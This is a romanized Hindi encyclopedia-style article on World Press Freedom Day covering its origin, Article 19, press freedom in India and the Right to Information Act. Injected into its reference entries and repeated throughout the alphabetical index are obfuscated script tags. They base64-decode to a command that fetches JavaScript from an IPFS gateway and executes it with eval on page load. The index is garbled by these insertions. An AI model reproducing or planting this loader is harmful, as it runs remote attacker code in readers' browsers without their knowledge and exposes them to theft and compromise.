अंतरराष्ट्रीय प्रेस स्वतंत्रता दिवस

	aantararashtriy pres svatantrata divas
	aantararashtriy pres svatantrata divas\|200px\|center
vivaran	'aantararashtriy pres svatantrata divas' '3 mee ko manaya jata hai. midiya ki azadi ka matalab hai ki kisi bhi vyakti ko apani ray kayam karane aur sarvajanik taur par ise jahir karane ka adhikar hai.
tithi	'3 mee'
shuruat	is divas ko manane ka nirnay varsh 1991 mean yoonesko aur sanyukt rashtr ke 'jan soochana vibhag' ne milakar kiya tha.
vishesh	'aantararashtriy pres svatantrata divas' pres ki svatantrata ka moolyaankan, pres ki svatantrata par bahari tatvoan ke hamale se bachav aur pres ki seva karate hue divangat hue sanvadadataoan ko shraddhaanjali dene ka din hai.
sanbandhit lekh	patrakarita, bharat mean samachar patroan ka itihas
any janakari	samooche vishv mean soochana tak sulabh pahuanch ke bare mean badhati chianta ko dekhate hue 'bharatiy sansad' dvara 2005 mean pas kiya gaya 'soochana ka adhikar qanoon' bahut mahath‍vapoorn ho gaya hai. is qanoon mean sarakari soochana ke lie nagarik ke anurodh ka nishchit samay ke aandar javab dena bahut zaroori hai.

aantararashtriy pres svatantrata divas (aangrezi: World Press Freedom Day) pratyek varsh '3 mee ko manaya jata hai. pres kisi bhi samaj ka aina hota hai. pres ki azadi se yah bat sabit hoti hai ki us desh mean abhivyakti ki kitani svatantrata hai. bharat jaise lokataantrik desh mean pres ki svatantrata ek maulik zaroorat hai. aj ham ek aisi duniya mean ji rahe haian, jahaan apani duniya se bahar nikal kar asapas ghatit hone vali ghatanaoan ke bare mean janane ka adhik vakt hamare pas nahian hota. aise mean pres aur midiya hamare lie ek khabar vahak ka kam karati haian, jo har savere hamari tebal par garama garm khabarean parosati haian. yahi khabarean hamean duniya se jo de rakhati haian. aj pres duniya mean khabarean pahuanchane ka sabase behatarin madhyam hai.

shuruat

'aantararashtriy pres svatantrata divas' manane ka nirnay varsh 1991 mean yoonesko aur sanyukt rashtr ke 'jan soochana vibhag' ne milakar kiya tha. isase pahale namibiya mean vindanh aauk mean hue ek sammelan mean is bat par jor diya gaya tha ki pres ki azadi ko mukhy roop se bahuvad aur janasanchar ki azadi ki zaroorat ke roop mean dekha jana chahie. tab se har sal '3 mee' ko 'aantararashtriy pres svitantrata divas' ke roop mean manaya jata hai.

pres ki azadi

'sanyukt rashtr mahasabha' ne bhi '3 mee' ko 'aantararashtriy pres svatantrata' ki ghoshana ki thi. yoonesko mahasammelan ke 26vean satr mean 1993 mean isase sanbandhit prastav ko svikar kiya gaya tha. is din ke manane ka uddeshy pres ki svatantrata ke vibhinn prakar ke ullaghannoan ki ganbhirata ke bare mean janakari dena hai, jaise- prakashanoan ki kaant-chhaant, un par jurmana lagana, prakashan ko nilanbit kar‍ dena aur band kar‍ dena adi. inake alava patrakaroan, sanpadakoan aur prakashakoan ko pareshan kiya jata hai aur un par hamale bhi kiye jate haian. yah din pres ki azadi ko badhava dene aur isake lie sarthak pahal karane tatha duniya bhar mean pres ki azadi ki sthiti ka akalan karane ka bhi din hai. adhik vyavaharik tarike se kaha jae, to pres ki azadi ya midiya ki azadi, vibhinn ilaiktronik madhyamoan aur prakashit samagri tatha fotograf vidiyo adi ke jarie sanchar aur abhivyakti ki azadi hai. pres ki azadi ka mukhy roop se yahi matalab hai ki shasan ki taraph se isamean koee dakhalandaji n ho, lekin sanvaidhanik taur par aur any qanooni pravadhanoan ke jarie bhi pres ki azadi ki raksha zaroori hai.^[1]

midiya ki azadi ka matalab hai ki kisi bhi vyakti ko apani ray kayam karane aur sarvajanik taur par ise jahir karane ka adhikar hai. is azadi mean bina kisi dakhalandaji ke apani ray kayam karane tatha kisi bhi midiya ke jarie, chahe vah desh ki simaoan se bahar ka midiya ho, soochana aur vichar hasil karane aur soochana dene ki azadi shamil hai. isaka ullekh manavadhikaroan ki sarvabhaumik ghoshana ke 'anuchhed 19' mean kiya gaya hai. 'soochana sanchar praudyogiki' tatha soshal midiya ke jarie tho de samay ke aandar adhik se adhik logoan tak sabhi tarah ki mahatvapoorn khabarean pahuanch jati haian. yah samajhana bhi utana hi mahatvapoorn hai ki soshal midiya ki sakriyata se isaka virodh karane valoan ko bhi svayan ko sangathit karane ke lie badhava mila hai aur duniya bhar ke yuva log apani abhivyakti ke lie aur vyapak roop se apane samudayoan ki akaankshaoan ki abhivyakti ke lie sangharsh karane lage haian. isake sath hi yah samajhana bhi zaroori hai ki midiya ki azadi bahut kamazor hai. yah bhi janana zaroori hai ki abhi yah sabhi ki pahuanch se bahar hai. halaanki midiya ki sachchi azadi ke lie mahaul ban raha hai, lekin yah bhi thos vastavikata hai ki duniya mean kee log aise haian, jinaki pahuanch buniyadi sanchar praudyogiki tak nahian hai. jaise-jaise iantaranet par khabaroan aur riportiang ka silasila badh raha hai, bl aaug lekhakoan sahit aur adhik iantaranet par patrakaroan ko pareshan kiya ja raha hai aur hamale kiye ja rahe haian.

bharat mean pres ki sthiti

bharat jaise vikasashil deshoan mean midiya par jativad aur samh‍pradayavad jaise sankuchit vicharoan ke khilaf sangharsh karane aur garibi tatha anh‍y samajik buraiyoan ke khilaf l daee mean logoan ki sahayata karane ki bahut b di jimh‍medari hai, kh‍yoanki logoan ka ek bahut b da varg pichh da aur anabhijn hai, isaliye yah aur bhi zaroori hai ki adhunik vichar un tak pahuanchae jaean aur unaka pichh dapan door kiya jae, taki ve sajag bharat ka hish‍sa ban sakean. is drishti se midiya ki bahut b di jimh‍medari hai.^[1] bharat mean sanvidhan ke anuchh‍chhed 19 (1 e) mean "bhashan aur abhivh‍yakti ki sh‍vatantrata ke adhikar" ka ulh‍lekh hai, lekin usamean shabh‍d 'pres' ka zikr nahian hai, kiantu up-khand (2) ke aantargat is adhikar par pabandiyaan lagaee gee haian. isake anusar bharat ki prabhusatta aur akhandata, rashh‍tr ki suraksha, videshoan ke sath maitri sanbandhoan, sarvajanik vh‍yavash‍tha, shalinata aur naitikata ke sanrakshan, nh‍yayalay ki avamanana, badanami ya aparadh ke lie ukasane jaise mamaloan mean abhivh‍yakti ki sh‍vatantrata par pabandiyaan lagaee ja sakati haian.

soochana ka adhikar qanoon

samooche vishv mean soochana tak sulabh pahuanch ke bare mean badhati chianta ko dekhate hue 'bharatiy sansad' dvara 2005 mean pas kiya gaya 'soochana ka adhikar qanoon' bahut mahath‍vapoorn ho gaya hai. is qanoon mean sarakari soochana ke lie nagarik ke anurodh ka nishchit samay ke aandar javab dena bahut zaroori hai. is qanoon ke pravadhanoan ke aantargat koee bhi nagarik sarvajanik adhikaran (sarakari vibhag ya rajh‍y ki vh‍yavash‍tha) se soochana ke lie anurodh kar sakata hai aur use 30 din ke aandar isaka javab dena hota hai. qanoon mean yah bhi kaha gaya hai ki sarakari vibhag vh‍yapak prasaran ke lie apane aank doan tatha dastavezoan ka kamh‍ph‍yootarikaran kareange aur kuchh vishesh prakar ki soochanaoan ko prakashit kareange, taki nagarikoan ko aupacharik roop se soochana n maangani p de. sansad mean 15 joon, 2005 ko yah qanoon pas kar diya tha, jo 13 aktoobar, 2005 se poori tarah lagoo ho gaya.^[1]

sankshep mean, yah qanoon prath‍yek nagarik ko sarakar se saval poochhane, ya soochana hasil karane, kisi sarakari dash‍tavez ki prati maangane, kisi sarakari dash‍tavez ka nirikshan karane, sarakar dvara kiye ge kisi kam ka nirikshan karane aur sarakari kary mean ish‍temal samagri ke namoone lene ka adhikar deta hai. 'soochana ka adhikar qanoon' ek maulik manavadhikar hai, jo manav vikas ke lie mahatvapoorn‍ hai tatha anh‍y manavadhikaroan ko samajhane ke lie pahali zaroorat hai. pichhale 7 varshoan ke anubhav se, jab se yah qanoon lagoo hua hai, pata chalata hai ki soochana ka adhikar qanoon avashh‍yakata ke samay ek mitr jaisa hai, jo am adami ke jivan ko asan aur samh‍manajanak banata hai tatha use saphalatapoorvak jan sevaoan ke lie anurodh karane aur inaka upayog karane ka adhikar deta hai.

sanvadadataoan ko shraddhaanjali dene ka din

'aantararashtriy pres svatantrata divas' pres ki svatantrata ka moolyaankan, pres ki svatantrata par bahari tatvoan ke hamale se bachav aur pres ki seva karate hue divangat hue sanvadadataoan ko shraddhaanjali dene ka din hai. aj hamara midiya apana dayitv thik tarike se nahian nibha raha hai. kuchh logoan ko chho dakar shraddhaanjali dene ka kam bhi hamara midiya shayad hi thik se kar raha hai. jabaki hona to ye chahie ki kam se kam is din to sare desh ka midiya ekajut hokar is din ki sarthakata ko aanjam deta. kam se kam aj ke din to khabaroan mean t daka lagane se parahej karata, kiantu ye bhi nahian hota. aisa hone par ti ar pi par asar p d sakata hai, jo ki haragij bardast nahian hai.

janata ka aina

halaanki pres jahaan ek taraf janata ka aina hota hai, vahian doosari or pres janata ko gumarah karane mean bhi saksham hota hai isilie pres par niyantran rakhane ke lie har desh mean apane kuchh niyam aur sangathan hote haian, jo pres ko ek dayare mean rahakar kam karate rahane ki yad dilate haian. pres ki azadi ko chhinana bhi desh ki azadi ko chhinane ki tarah hi hota hai. chin, japan, jarmani, pakistan jaise deshoan mean pres ko poornat: azadi nahian hai. yahaan ki pres par sarakar ka sidha niyantran hai. is lihaj se hamara bharat unase thik hai. aj midiya ke kisi bhi aang ki bat kar lijiye, har jagah dav-peanch ka asar hai. khabar se jyada aj khabar dene vale ka mahattv ho chala hai. lekh se jyada lekh likhane vale ka mahattav ho gaya hai. pakshapat hona midiya mean bhi koee b di bat nahian hai, jo log midiya se ju date haian, adhikaansh ka uddeshy jan jagarookata phailana n hokar apani dhak jamana hi adhik hota haian.

kuchh log khud ko sthapit karane lie bhi midiya ka rasta chunate haian. kuchh log chand patr-patrikaoan mean likhakar apane samaj ke prati apane dayitv ki itishri kar lete haian. chhadam nam se bhi midiya mean logoan ke ane ka prachalan badha hai. saty ko svikarana itana asan nahian hota hai aur isilie kuchh log saty udghatit karane vale se bair rakhate haian. lekin phir kuchh log midiya mean apana sab kuchh dav par lagakar bhi is raste ko hi chunate haian aur afasos ki phir bhi unaki vah poochh nahian hoti, jisake ki ve haqadar hote haian.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 vishv pres svatantrata divas (hindi). . abhigaman tithi: 30 aprail, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ aantararashtriy pres svatantrata divas kya aupacharikata bhar hai (hindi). . abhigaman tithi: 30 aprail, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[aa-1] 1.0 ^1.1 ^1.2 vishv pres svatantrata divas (hindi). . abhigaman tithi: 30 aprail, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] tararashtriy pres svatantrata divas kya aupacharikata bhar hai (hindi). . abhigaman tithi: 30 aprail, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]